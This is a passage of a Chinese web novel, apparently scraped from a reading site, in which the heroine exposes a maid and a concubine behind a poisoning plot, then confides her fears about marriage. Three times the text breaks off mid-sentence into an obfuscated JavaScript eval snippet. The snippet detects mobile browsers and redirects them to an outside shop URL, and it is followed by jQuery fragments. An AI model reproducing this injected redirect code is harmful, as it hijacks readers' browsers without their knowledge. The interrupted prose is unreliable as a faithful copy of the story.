这年头穷苦人家,主食多以窝窝头为主。院中的灶,一口铁锅坑坑洼洼,内里稀拉一些米粒,熬成了一锅不浓的粥,旁边碗中咸菜都发黑了。自己吃的尚且是这些,猫又怎么可能吃得起馒头? 当日他情绪失落,我亦惊诧于找到肖排场的线索,未深究细节。但从他家离开后,我就开始生出橙橙还活着的感觉,只是我迟迟没想清楚来由。 对我感知一向重视的谢宁轩,屡次听我提及,也默默放在了心上。 当他想通后,我二人复盘,更是发现,“猫”几次撞门的时机,都是很微妙的。 何况当日我就判断过,老建头对肖排场和橙橙的情事了解并不多,很多问题他是真的答不上来,并非作假。加之他的抱怨“他后来什么都不和我说”,就说明,像很多年轻人嫌弃父母唠叨一样,肖排场在长大后,也渐渐不和曾经亲密的管家分享自己的事了。 所以,并非老建头在王宅调查时故意回避,而是在那个时点,他真的并不了解橙橙其人。 小白听明白了,惊诧道:“你的意思是,老建头是在橙橙从上京路上逃回金华后,才认识她的?” 是啊,否则橙橙能躲哪里呢?整个金华,她除了王宅别无去处。但我早就说过,她一定会回来见情郎。 那么,偷偷潜回金华城外,当先去了肖排场家,这不合理吗? 而老建头,保护小主人喜欢的女子,也是爱屋及乌。但他不知橙橙底细,在面对王宅排查时,表现出的茫然,就会很自然,反而作以蒙蔽。 当然,在面对我们设计的台词中,他也没能听出“王姑娘”的玄机,自然也就在话语中露出点缝隙,给了我们察觉的契机。 收起回忆,我盯着眼前熟悉又陌生的脸,询问她我的推测是否正确。 躲躲藏藏、担惊受怕,橙橙原本一头乌黑的秀发此刻已如杂草,也没有了麻花辫的齐整与俏丽。她趴在地上哭了许久,终是抬起身承认了。 “小姐,小姐!奴婢对不起你,奴婢、奴婢……”橙橙呜咽着,“这个、这个女人用肖郎的命威胁奴婢,奴婢、奴婢也实在没法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314657|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子……” 小白毫不留情,径直踹了一脚:“没法子?就可以叛主?你为什么不向三妹妹求救!不向老夫人求救!” 橙橙没有回答,哭得上气不接下气。 这个疑惑,谢宁轩也曾提过。此时,我心口发闷,却明白了她的苦楚。 原主那不谙世事的小孩心性,橙橙即便求助于她,她也拿不定什么主意。而秦姨娘为了控制橙橙,肖排场背负的赌债一定是天文数字,也并非原主拿零花钱就能帮忙还清的。 而私定终身、偷偷与外男会面,此事一旦让祖母知悉,能有好果子吗?肖排场又是个赌鬼,祖母为怕牵连孙女,别说帮忙还债了,恐怕连带着橙橙一起打出门了。 小白也想明白了,吹胡子瞪眼:“那还不是怪你!小小年纪倒动了春心!不过是陪着三妹妹上课的功夫,就和人家眉来眼去?那还是个赌鬼!什么眼光么!” 橙橙伏在地上痛哭,复又指着秦姨娘怒骂:“蛇蝎妇人!我已经按照你的要求害了我的主子,你竟然还是让赌坊杀了肖郎!我、我费尽心机逃回来,几次险些送命,就是为了再见肖郎一面,可你、可你竟然杀了他!” 说罢,橙橙挣扎着朝秦姨娘冲去,恨不得亲手掐死她。幸被小白按住。 小白厌弃的扫一眼已然恢复泰然面色的秦姨娘,又吼橙橙:“得了,闭嘴!你还是先交代自己的事罢。说!为什么要让那七个人染上天花?你好狠毒的心!” 橙橙怨恨的眸子颤了一下,她低下头,声如细蚊:“我、我……我下不了手。她、她说给每日服用一些那药,一点点来,小姐、小姐就会痴呆。别走大路,找不到郎中医治,时间一长,就能、就能……可是我、我实在下不了手……越快到京城,我越急……因为她之前说了,如果三老爷写信来说小姐安稳到了京城,肖郎、肖郎就得死……所以……在驿站,我听说前有天花,发觉她之前说的大量服用的症状刚好一样,我、我便想着,小姐、小姐就、就自生、自生自……” 橙橙说不下去了,但意思已经表达的很明确了。 原来谢宁轩一直是对的。上京一路之所以太平,并非有另七人在场,橙橙寻不到机会。相反,作为原主的近身丫鬟,她要干坏事,机会太多太多了。 但她始终是不忍的,毕竟主仆多年,原主对她也是真的好。可情郎的命,就像一把利刃悬在头顶,始终让她喘息不得。 这也是天花事毕后,她最终对原主采用手段那么简易的理由,也是为了让自己的愧疚轻一些。 “当日,你给水壶里下了药,就等我喝水后,自己找机会远离,再寻隙引来官府抓我入天花村。这样,我是死是活,能不能被救,那就是老天爷的意思,怪不得你了,是不是?”我只觉脊梁骨发凉,“可你的七个同伴呢?你考虑过她们吗?即便当日没有误喝,官府来看,发现我有症状,同行的她们也会被带走!正如现在的结果!她们喝了那壶水,被丢入了那死地,一个都没有活着出来!” 橙橙细窄的肩膀在抖动着。或许,这段时间的消瘦,也不只是逃命时的惊慌,也有着被噩梦缠身的报应。 “这些人头,得算在你身上。”小白冷冷看向秦姨娘,“害死了一个又一个,你可真是阴狠。” 秦姨娘歪了身子,靠在椅背上,姿态慵懒。“一个叛主的丫鬟,就来空口无凭的指责我。白大少爷的家教,不怎么样嘛。” 小白气结,我却伸手拦住了他,从怀里掏出个物件来,细细端详。 余光中,秦姨娘也扫来一眼,下一秒,她的脸色一变。 135.解谜3 这是一个坠着珠玉的小络子,珠玉,却并非常见的小玩意,而是名贵的南海明珠。 “作为三叔的妾室,你一向安分守己、大门不出,唯有常去红觉寺求签问佛。我怀疑到你头上后,一度很诧异,因为操纵赌术的神秘女子,得时不时亲去赌坊。你,又怎么可能办得到?” 直到我再次翻阅起祖母的调查手册,其中详细记录了一年内王宅主子的行踪,就包括秦姨娘去红觉寺跪经的日期。 小白接过话头:“那么巧,赌坊给出的神秘女子设局日,就涵盖在其中。” 甲三静心堂,小厮汇报给小白过,红觉寺的小沙弥也提出,王宅也有夫人来,每每跪经,都要两个时辰。 王宅的夫人?我当时还以为指的是三婶。可在小五小六的八卦中,信佛的,除了祖母外,唯只提及过秦姨娘。 祖母年事已高,根本不可能隔三岔五远赴寺庙跪经。那么,能让小沙弥尊称为夫人的,还能是谁? “两个时辰,呵,真是好借口,更能以诚心为由遣开丫鬟。其实,你是偷偷换了衣服,从殿后门溜出去赌坊。这一切,你以为做的隐秘,瞒天过海无人知晓?可惜,你疏漏了这个。” 这颗南海明珠,是三叔前年赠与秦姨娘的,极为贵重罕见。秦姨娘很是喜欢,贴身放着,系在小衣上。 秦姨娘慢慢坐直了身子,光影照射在她的脸上,明暗交替,看不分明。 “怎么,这也是月儿和星儿告诉你的?” 我颔首,承认下来。当日我只觉小五小六天真无邪,娘亲私事怎么也往外说,还曾叮嘱她们莫要再提了。 察觉真相后,我深知没有证据恐怕不能让秦姨娘拜服,但证据在哪?就在小五小六曾经不经意的大团闲话中——“娘亲小衣系着的一颗明珠不见了”。 这年头,小衣上的装饰物,都会以络子系上。络子系的紧,怎会不见?除非脱衣服扯掉。若在卧房,也该容易找到,为什么迟迟不见? 会不会,脱衣的地方,并不在卧房? “当然是需要更衣扮作黑衣女子,赶去赌坊的时候了。”小白抱臂,冷冷道,“三妹妹立即想到,它恐怕就掉在了红觉寺!甲三静心堂!” 我们立即分头,谢宁轩带队赴老建头家拿人,我和小白则直奔红觉寺,祈祷它千万不要被旁人捡走,或被寺僧打扫掉。 好在,七八个人齐齐上阵,翻了个底朝天后,在一个不起眼的角落,找到了这颗蒙了尘的南海明珠。而系着它的络子,梨梨一眼就认出,正是秦姨娘的手艺。 小白从我手上接过络子打量着:“真真好手艺啊,我看金华绣坊的绣娘们,也不过如此。你也正是靠着这手艺,改变了你在府中被人嫌弃的处境,甚至靠之与杜姨娘交好,常常换些药膳吃吃。更从她那儿,学到了不少药理,这才给出了橙橙毒物,不是吗?” 秦姨娘一动不动的坐着,面无表情。 “最初关于医理毒物,我是怀疑过杜姨娘的。你很聪明,桩桩件件,都独善其身、置身事外。可你千不该万不该,自作聪明,让翠红躲到了莱凤阁。”我语气渐渐激烈,“你想要嫁祸、想要挑拨,让我和四妹形同水火,最好与二姐也打得不可开交。我们几个适龄的姑娘越是不堪、越是下作,白家越是嫌弃,不是吗?可你错了,被你视作棋子、随手就可抛掉毁掉的,可是活生生的人啊。” 翠红到了莱凤阁,就知道自己终究逃不脱。幕后的黑手,还要指望用她的命,将脏水泼到别人头上。翠红是不甘的,是愤怒的,才会选择那么激烈的死法,并在生命的最终,交付给小白线索。 “何况,你也太小看三妹妹了。”小白嗤了一声,“翠红死在莱凤阁,当时三妹妹就断定,此事绝对与杜姨娘母女无关,定是嫁祸。因为杜姨娘之父只是个掌勺的,塞个逃犯在金华最热闹的酒楼,根本办不到。” 可王宅、白家,没有人再通医理了。 直到我想到,二姐说过,杜姨娘甚喜秦姨娘的女红手艺,每每以药膳讨要。一来一回的交往中,秦姨娘想要从她那儿学到一些药性、拿到几味药材,难吗? “懂了点医理,又有着无双的赌术,秦姨娘,你可真是厉害。”小白夸了一句,阴阳怪气的,“三妹妹,所以我说啊,还是你家老太太厉害,当年就不答应你三叔赎青楼女子。可惜呀,你三叔难关美人关呦。” 我没理会他,反而看向橙橙,问出了一直压在心底的疑惑。 “在三里村,你为什么当了亡母的梳子?是不是和上面的桃仁有关?” 没错,我已经有了猜想,就在我听到小白提及陶家后人的名字时。 “陶琴,这是你真正的名字吧?”我问秦姨娘,“你到了青楼后,便化名桃桃,也是以秦桃的名字嫁入王家。偏偏巧,橙橙,你的梳子上,就雕刻着桃仁。” 橙橙抬眼看着我,有些迷惘:“小姐,你什么都不记得了吗?当日奴婢会当梳子,正是因为你的一句话啊。” “什么话,提及梳子上桃仁的话?” 橙橙眼睛已经哭肿了:“奴婢自知有罪,陪您一路上京都惶惶不安着。反而是您三番五次来逗奴婢开心,呜呜呜……到三里村的时候,离京城没多远了,奴婢太害怕了,就时常拿着梳子抚摸。它、它既是娘亲对奴婢的爱,也、也有着肖郎的气息……可小姐你突然拿过去,指着上面的桃仁问,它是不是秦姨娘的,怎么有她的名字?奴婢、奴婢吓坏了、吓坏了……还以为小姐你……所以、所以奴婢赶紧把它当了。” 是了,答案就是这么简单,简单到甚至有些无厘头。 但考究人性,“心虚”不正是还保留些许人性的体现吗?否则橙橙何必吓到一夜不睡,趁开门就当了梳子;何必在老建头家,偷看到我来,就惊慌到撞门发出响动。 “猫”几次的响动,正是橙橙趴在破窗口,紧张又忐忑的偷窥啊。 我了然颔首,又问:“那你之后为什么没有去赎梳子,你不是当的活当吗?” 橙橙打了个冷战。 我懂了,她是怕的。 三里村往北一日马车脚程,便是十里驿。再往北两个时辰,便是七个同伴被带走的茶寮。橙橙利用了天花,但也无时无刻不被心魔折磨着。她根本不敢原路返回,不敢靠近茶寮、十里驿、三里村。 这也是为什么我们南下一路打听,再未获悉橙橙逃跑线索的原因——她根本不敢原路返回。 小白嫌恶,不再理会橙橙,而是看向秦姨娘。“人证物证都在,现在你没什么可辩解的了吧。说,你为什么要害三妹妹!就算不想让她嫁入白家,她都已经走了,何苦还要追着不放!” 秦姨娘没有再抵抗,只站起身来,优雅的身姿、纤长的脖颈,像是一只唯美的天鹅。 她慢慢踱步到窗边,徐徐讲道:“陶家,那是我的母家,却也是我的噩梦。我出身庶室,自小便受尽了嫡姐的欺负,只因我在赌术上比她有天分,她便时常诬陷我,让我受罚。后来家里出事,我们一道进了勾栏,嫡姐多傲气啊,她哪受得了那份侮辱?没几天就死了罢。我也痛苦,可我却不能死……” 秦姨娘低低啜泣一声,“因为我死了,九泉之下,还是要被她欺负。我只能勉强自己活下来,学女红,学琴艺,一步一步做到花魁。可花魁也不过一只蝼蚁,还要受男人的欺辱。直到我遇见夫君,他是真心待我,不顾家里反对替我赎了身,那一天,我终于脱离了噩梦。” 她将目光从窗外收回,慢慢凝在我脸上,笑容轻柔,却让人不寒而栗。 “但是你,你把我又推进了深渊。” 我完全不明白她在说什么,小白亦冒火反驳:“你胡说什么?三妹妹对小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14328609|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五小六疼爱有加,怎么就推你入深渊了?再说了,王家从不讲究嫡庶,老太太捧得小五小六跟掌上明珠一般!” 秦姨娘似笑非笑,睨向小白:“你们家看重嫡庶吗?” 小白语塞,恼火的撇了撇嘴。 秦姨娘讽刺的笑笑:“高门显贵,谁不在意嫡庶?王家不讲究?是啊,吃穿用度上,王家从不分嫡庶。可婚事上呢?你从小就被安排了婚约,嫁入金华最好的人家。嘉儿呢,她心比天高,谁也看不上,看起来好像与你争着白家,其实老太太早就为她筹谋,也相中了一等一的高门。” 小白怒曰:“小五小六还这么小,你怎么知道将来婚事不如意?” “呵,还用将来?你看看珊儿。作为庶女,年岁还比书儿大。可书儿上京后,老太太一方面日日写信盼她回来,一方面撮合嘉儿与你的婚事,她考虑珊儿了吗?” “只是因为嫡庶,你就这样恨我?”我不解。 “呵,如果只是庶女,便也罢了。至少我的女儿不像我,受尽欺辱。但你回来了。” 秦姨娘直勾勾盯着我,像一只饥肠辘辘的鬣狗。 “你自小顽劣不堪,偏偏老太太视若珍宝,纵容你每天蹿上蹿下。我教导女儿要端庄,要才华横溢,要有大家闺秀的样子,这样我的女儿才不会因为庶女身份而低人一等。可你一回来,带着她们肆无忌惮,日日疯玩,追猫打狗、踢天弄井!书念不进去,女红不爱学,琴棋书画一样也不会!你是嫡女啊,你早就有了婚约,你有老太太宠着纵着,哪怕把教书先生推进河里,竟也只是说声‘淘气’!” 秦姨娘又轻蔑的瞥一眼小白,“你们白家,呵,除了你娘有点脑子,那老头老太太,竟也喜欢她这副没教养的模样!还说什么活泼天真,毫无心机?可笑!我的女儿,已经十多岁了,被她连累的,不通诗书,不懂琴棋书画,满脑子就知道玩!她们将来怎么出嫁?谁家敢娶这样的小姐?” 我和小白对视一眼,都很意外。恨意竟源自原主带着小五小六顽皮? “你越是带她们玩得欢,她们越是喜欢你,我就越来越感到不安。”秦姨娘玩味一笑,“所以你得消失!你消失了,我才能好好管教我的女儿!” “可她已经去了京城,为什么还要指使橙橙害她?” 秦姨娘又眺向窗外,窗外正有鸟儿扑棱着翅膀飞过。 “我早就开始筹谋,想要除掉你,但在金华,你被保护的太好了。直到一年半前,老夫人答应你爹,让你去京城,我知道机会来了。” 所以神秘女子出现在赌坊,是一年半前;所以对原主忠心又无可拿捏的梨梨,临走时病了。 小白愤愤不平:“她已经离开金华了!你为什么还要穷追不舍?” “为什么非要除去她,你看不明白吗?因为她根本不会嫁到京城!”秦姨娘拉长了声线,带着嘲弄,“她这样的脾性,除了白家王家长辈眼瞎,还能有谁看得上她?她根本嫁不出去!最后还是得回到金华,又要继续带坏我的女儿!” 我心头一阵乌云,替原主叫屈。 “你离开之后,我心里大石总算落下。本来我对白王联姻,也没什么想法,毕竟月儿星儿还太小,远不到谈婚论嫁的年纪。安排白家的暗哨,只是想了解动态罢了。可,”秦姨娘扭脸望着小白,轻轻笑道,“你不愿娶嘉儿,是不是?我观察了几个月,才渐渐意识到。既然如此,索性我出手,将白家这么好的姻亲留给我的女儿!” “所以你故技重施,用赌局渐渐掌握王家的主动权。我们白家,你也开始授意挑拨,意图分裂。”小白朝秦姨娘竖起大拇指,半真半假道,“好手段啊!” 秦姨娘莹莹一笑,柔美可人。 “不过你失策了。”小白撩袍起身,带着傲气,“我们白家屹立金华多年,你以为只是靠气运吗?” 136.害怕 与秦姨娘的对质告一段落,我犹豫着,最终还是没有告官。 别误会,不是我心软。仅仅警告就能让秦姨娘收手,乃至改过自新?我对人性可不报这种天真的幻想。 可报官,王家名声怎么办?这个时代,女儿家受到的束缚,不也来自于娘家的名声吗?王家还有那么多未出阁的女儿,如何能让这等污糟事外传? 祖母又病着,我怎么能让此事惊动她,再给她一击? 我思考着,做出了决断。 “向你三叔告发?”小白搓搓下巴,“那倒也行,内部处理也是个法子。你三叔虽当官当得有些油滑,人倒正派,也没色令智昏、宠妾灭妻。只是你……” “我怎么了?” 小白眯着眼咂咂嘴:“啧啧,我看你没让凌兄参与,还以为你是打算原谅她,为了王宅名声忍气吞声呢。没想到你只是在盘算怎么做比较划算。呵,好个心狠的姑娘。” 心内毫无波澜。 “她害死那么多人,设计要我命,我凭什么轻轻松松原谅她?” 小白晃晃脑袋:“这样锱铢必较的姑娘,可不能娶进门,啧啧。” “呵呵!那我祝你娶个圣母婊,白莲花。” “圣母婊是什么?白莲花又是什么?” 听完我三言两语的普及,小白一拍手掌:“哎呀,这样的姑娘真好,善良可爱又娇媚!” 呵呵,直男真傻逼。 *** 三叔的反应和我预料的一样,在震惊和难以置信中,他单独向秦姨娘问话。因为南海明珠,秦姨娘没有狡辩,而是大大方方的承认了。 具体怎么谈的无人知道,只晓得那天怡然阁动静颇大,时不时传来哭声骂声和器皿砸碎的声音。 事毕,三叔以秦姨娘不恭不敬祸乱内宅的名义送去宗祠关禁闭,终生不得出。小五小六交由嫡母抚养,只在每年生辰可见生母一面。老四也被三叔训斥,罚跪家祠。 处理完这些,三叔买醉了好几天。 我本以为秦姨娘也知道二姐和表妹在遇袭那件事中的推波助澜,谁知她竟没有提及。 或许,她真是不知道,毕竟那二人的暗中推动都是设计人心,没有实质的举动。又或许,作为黄雀在后的总筹划,她也根本不在乎。 是以,二姐没有受到任何处罚。老四跪家祠的当天,二姐给我送来一面屏风,绣工精美,看的出是下了功夫。 在之后的相处中,我和二姐再未提起此事,默契的将它忘记,至少面上还能和善的坐在一起闲话家常,维系着王宅的宁静。 三叔以迅雷之势处置完一切,才在祖母塌前简单禀告。以祖母的阅历,如何看不出这内里的弯弯绕绕。许是见多了内宅斗争,祖母并未深究,对处理结果也没有异议,只强调了小五小六的教育问题。 于是在祖母和三叔的授意下,三婶对小五小六采取了严厉的教学措施,教引嬷嬷和教书先生双管齐下,小五小六天天哀嚎,却求救无门。 秦姨娘尽管偏执,对女儿的爱意却真诚,在这封建王朝,大户人家的姑娘不通诗书不懂礼教,确实在婚嫁上吃亏。 只是自那日我离开怡然阁,还一直没见过小五小六,也不知她们会不会对我生怨? 其实,我对这个结果并不满意,毕竟,她害死了原主。只因我的存在,好像看起来橙橙的背叛没有那么严重罢了。 事毕那日,我做了个梦。 娇俏可人的少女坐在秋千上,额间的汗水将碎发都打湿了。鹅蛋脸上是甜甜的笑容,明眸皓齿,柳梢弯弯。 她弯腿在地上停住,复又使些力气让自己荡的更高。我看的高兴,跟着咧嘴,起身走到她身后想要助力推她。 姑娘却忽然开了口:“王羽书,你是王羽书了,是不是?” 我伸出的手一滞,脑子有些混乱。 姑娘轻声笑起来,在秋千落下的一瞬间,灵活的用双脚钩住了地面,她蹭的跳了下来,蹦蹦跳跳朝我奔过来,笑声飘荡在风中。 我有些恍惚,好像面前的人很熟悉,又莫名的陌生。 姑娘蹦到我面前,熟络的拍拍我的肩:“王羽书,你就是王羽书了。谢谢你,我该走了。日后的人生中,对我,哦,应该说对你自己,好一点,好吗?” 她开心地笑着,眼睛弯弯像月牙,目光却比月光明亮许多。她拉拉我的手,旋即扭头蹦蹦跳跳朝雾气中跃去。 我清晰的意识到,这一面后,我们再也不会相见。 心猛地一空,我伸手去捉她粉色的衣角,然而手指只触到一片空虚,再抬头,她已不见。 从穿越来就困扰着我的危机,至此落幕。 可金华的麻烦,却还没结束。别忘了,祖母还惦记了孙女的婚事,必得亲眼看着我出嫁才肯放心。 一日,我去侍疾,才刚替祖母擦了手,她就愁云惨淡,握住我的手直叹:“书儿啊,都怪祖母不好,欠考虑了。这下可怎么好呦。三年,三年……等不得,等不得呀!太久了,变数一多,我可如何放的了心?可金华,这满金华,也就泉哥儿配得上你。别家子弟,要么婆母过于苛刻,要么门风不够正派……不行,都太委屈你了!” 又说起婚事了。 我在心里也叹,琢磨着祖母千万别看上其他人,就让我顶着等三年的名头,先逃回京城再说。三年后,我不回来不就好了嘛。 “金华以外……”祖母搂住我的肩,捏捏眉心,“书儿啊,我始终不愿你嫁去京城,山长路远,见一面都难。何况京城都是豪门巨贾,咱们家小门小户,也无法替你周全。” 祖母身子骨还没康健,却还在为孙女呕心沥血的筹谋着。 记忆中的奶奶和眼前的祖母重合,爱意翻滚着。我再也忍不住泪意,扑到祖母怀中:“祖母,祖母,我不嫁人,我一直陪着你!” 祖母一把将我搂住,温厚的手掌在我的背上轻抚着:“猴丫头又说什么猴儿话呢,哪有女子不嫁人的道理?祖母日日盼着,不就是盼得你,盼得你们,各个都能有个好归宿吗?哎,泉哥儿,或许,泉哥儿说的也对。” 小白说什么了? 我抬头看向祖母,她只是垂着睫,怅然若失。 于是我将问题抛给了小白,晚上,他又上我这儿串门来了。 小白闻言一笑,竟也不答。给自己熟络的倒上茶,却问:“听说今儿下午,你和老四和好了?还一道帮老夫人沐浴来着?还得我出主意吧。” 我点点头:“这还真得感谢你。祖母总觉得为了脸面,不到男方提亲时不能外泄,才惹得二姐、老四心有怨怼。听了你的劝谏,她总算明说了早就给二姐和老四安排好的婚事。你知道吗?三婶当即激动落泪,杜姨娘高兴的险些晕过去呢!” 小白晃晃脑袋:“那也是看我们家没戏了,老太太才不得不退而求其次。” 退而求其次? 一桩原原本本属于自己的婚约,和一个始终作为备选名单里供人挑拣的物件,哪个更好? 或许当日原主没有上京,或者这次回来的还是原主,当她成功嫁给了小白,二姐和老四的婚约也就会定下来,再无三女争一夫的戏码。 可祖母太过在意白王联姻,才会迟迟让孙女们都候着,随时准备成为联姻的主角。 而现在,小白因为守孝需要耽搁三年,二姐、老四年龄不再符合,反而使得祖母没得筹谋,不得不选择其他家门。对二姐和老四来说,不用争抢计较,也未尝不是一件好事。 我耸耸肩:“不管怎么说,都定下来,王家总算没有内斗了。” 小白一哂:“天真!有人的地方就有斗争,怎么可能没有内斗?你看着吧,你那四妹接下来肯定还要和你比谁的嫁妆多呢!” 我没理他的调侃,只又问:“那你呢,三年后,你还会被要求履行白王联姻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340599|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” “再说吧,先清净三年。之后……大不了像你一样,跑呗。”小白晃着腿,也不甚在意,睨眼来,“先不说这个了。三妹妹,你可还欠我个人情呢,记得吗?” 啊?还有这茬事? 见我挠头装蒜,小白翻个白眼:“就知道你不靠谱!好在我全盘告知了谢兄,他已经答应替你偿还人情了。哼,他的承诺可比你值钱多了!” “你都告诉……等一下,谢兄?”我一激灵,吓得坐直了身子,“他、他把身份告诉你了?” 小白眨眨眼,朝我上下瞧瞧:“堂堂宗室……啧啧,没想到三妹妹你这莽撞鬼,竟能俘获谢兄的心,真让我刮目相看,都不敢相信……” “他都跟你说什么了?官阶、出身,都告诉你了?你和他……你俩关系怎么突然这么好了?” 小白得瑟抬抬下巴:“还不是因为我太优秀!” “嘁……还跟你说什么了?和我的……嗯,”我有点说不下去,脸莫名红了,只又叮嘱一句,“你、你可别在我祖母面前说漏嘴了。” 小白一嗤:“想什么呢?哪里轮到我说漏嘴?谢兄自然会禀告你祖母的嘛!” “什么?他禀告?”我又惊了。 “废话嘛,谁家提亲不得表露真身啊,还能用假身份求娶人家姑娘的吗?” “提!亲!” 小白不满的揉揉耳朵:“一惊一乍做什么!你们俩都那样腻歪了,难道不该他提亲吗?哦,他是说尚未向令尊提亲,有些莽撞,又想你与金华亲眷情谊也深,想着不妨先托金华府丞向你三叔提亲,回京再补别的。是我劝他,还是先说服你家老太太,比你爹、你三叔管用多了。” “向我祖母……我晕!所以祖母晌午说的什么‘泉哥儿说得对’‘嫁去外地山长水远’……是你今早已经向我祖母说这事了?” “哪能啊!”小白一本正经道,“这得谢兄自己亲自禀告,才显诚心嘛。不过未免你家老太太过于抵触,我这不是先替谢兄铺陈了一下嘛。我把金华适龄男子家眷劣势全数了一遍,听得你家老太太头都大了,这时候谢兄那完美的身世与人品出现,才会如天仙下凡,一把虏获她的心,一举攻克城池!怎么样,我聪明吧?” “……”我无语片刻,深吸口气才呛声,“什么乱七八糟的用词,你可别瞎出主意了!我还没答应和他……哎呀,事情有些复杂,不是你想的那样!” 小白侧侧头,探究一问:“怎么,你不钟意他?” “我……” “不愿意嫁给他?” “不是愿不愿意的问题,我……” “支支吾吾,你吞吐个什么?”小白又调侃,“莫不是相处一月,真的爱上我了?那可别啊,我可不能对不起谢兄!” “小白!”我气急,丢起榻上的抱枕砸了过去。 小白稳稳接住,仍戏谑的笑:“那不就完了,你心有所属,他也非你不娶,这不是两情相悦的好事吗?你纠结扭捏个什么劲啊!我可听谢兄说了,你闪躲逃避不是一次两次了,到底为什么?谢兄做了什么你不满意的事吗?” “没有,不是!” “那是他家里人你不喜欢?听说他的母妃早逝,现在的王妃……” “你别瞎说,王妃对我很好!” “那还能因为谁?哦,他说他还有个弟弟,难道……” “哎呀,都不是!” “不是因为别人?那你到底顾虑什么?” 像是被逼到墙角,小白一层一层的问话就像追兵永不停歇的追逐,直到将阵前最后一点反抗也击杀。我举着战旗,垂垂倒下。 再也扛不住了,我大声说:“我不想嫁,不是因为他不好,不是因为我不喜欢他,只是我害怕!我害怕当所谓的主母,害怕操持中馈,害怕封闭在四方天地,以后的人生只有夫君、孩子!我害怕过成一个符号,一个影子,失了真正的自己!” 137.战场 我说出来了。 横亘在心头,如泰山压顶,驾驶着理智之舟始终行驶在灵海中的隐忧,我终是说了出来。 我也没有料到,和盘托出,竟会是对着小白。 我抬头眨了眨眼,将不由自主生出的泪意逼回去,余光,是小白目瞪口呆的望着我。 “三妹妹,你……” “怎么,太惊世骇俗?太离经叛道?”我轻笑一声,说不出来的释然。 “庙堂之高,荣华富贵,是世俗定义的成功,却也不是每个人都向往的,总有那桀骜之辈,只愿泛舟湖上、游走山川,哪怕穷苦,哪怕困顿。”我看向他,轻声道,“小白,我以为,我以为你也是。” 小白眼神倏地变了,他定定望着我,像是看着陌生人,又像是看着一面镜子。 我就在这一刻,深切的体会到,我没料错。 果然,半晌后,小白幽幽吐出:“朝碧海而暮苍梧,睹青天而攀白日……三妹妹,我没想到,你竟也有这种想法。怪道你提起出嫁并不热切,怪道你对着谢兄也总有顾虑。” 我勉力弯弯嘴角,心下很空。 “世间万物,不是只有男人才可以寻求僻径,女子亦同。于我而言,与其困于四方天地,被高门大户圈养,我宁愿效仿徐霞客,云散日朗,人意山光,山空日暮,借宿山家。” 小白踟蹰扶额,又低低问:“那这些,你没有对谢兄说过这些吗?” 我闭了闭眼,努力压下涌到喉间的起伏。“我是想说……但我不知道该怎么说。他、他很好,对我的心意,我也都懂。说句不怕你取笑的话,我也早就认定他了。可是,这想法太出格了,我不知道他能不能接受……” “他视你如珠如宝,我想他可以……” 蜡油自烛台滴落,微如叹息。 “一时可以,一世呢?”我摇了摇头,心下很空,“真心如他,我从不质疑,我也知道,他会为了我一再退后,让渡自己的边界。可人生太漫长了,委屈一时,是无法坚持一世的。” 何况,他还不是一个普通人。 他位及人臣,有着远大的理想抱负,日后建树,或可比拟历朝历代的贤臣名相。这种朝臣,有一位“不安分”“与众不同”的妻子,会引来多少非议? 我不想拖累他的人生。 也害怕为了爱情,失去我的人生,失去自我。 “自我……”小白怔了片刻,旋即玩味地品着这两个字,让它在唇齿间滚动。 “你这想法,确实特立独行,不同于寻常的闺阁少女。”小白沉沉叹了口气,又抬起眼帘,认真的看向我,“但你想过吗,谢兄认识你不是一天两天,也并非一时头脑发热,只爱慕你的容颜。我想,或许他爱重你的,正是你不寻常的那一面。” “不寻常?” 我一怔,忽地忆起了谢宁轩曾说过的话——“曲高和寡知音少,孤影长夜江自流”。 是啊,他将我唤之“知音”。 “三妹妹,这话或许轮不到我来说,但我还是觉得,你应当将这些想法,原原本本的告诉谢兄。他不是一个因循守旧、抱残守缺的人。提起你,他也说,你是一颗璀璨的明珠,他不舍得,也不愿意让你蒙尘。” 我有些诧异:“这、这是他说的?” 窗外,响起了一个温柔的男声,笃定、沉静、充满眷恋。 “是我说的。我还说过,金屋藏娇,是我万万不愿意的。” 是谢宁轩,他正站在廊下,一字不差的听着我们的对话。 我登时心乱如麻,直直望着他,忘了闪躲。 谢宁轩亦直视着我,墨色沉沉,如夜幕降临后的海面,看不清蕴藏着什么。 “羽书,你、你为什么不告诉我?”谢宁轩走近,气息渐渐笼罩。 我分辨不清他的情绪,也不知此时此刻,该用什么心态来面对他。 但涌上喉头,比我的理智更快的,是我已然脱口的问题:“为什么,为什么会说出这样的话?金屋藏娇……你原本想要的感情生活,是那样的吗?” 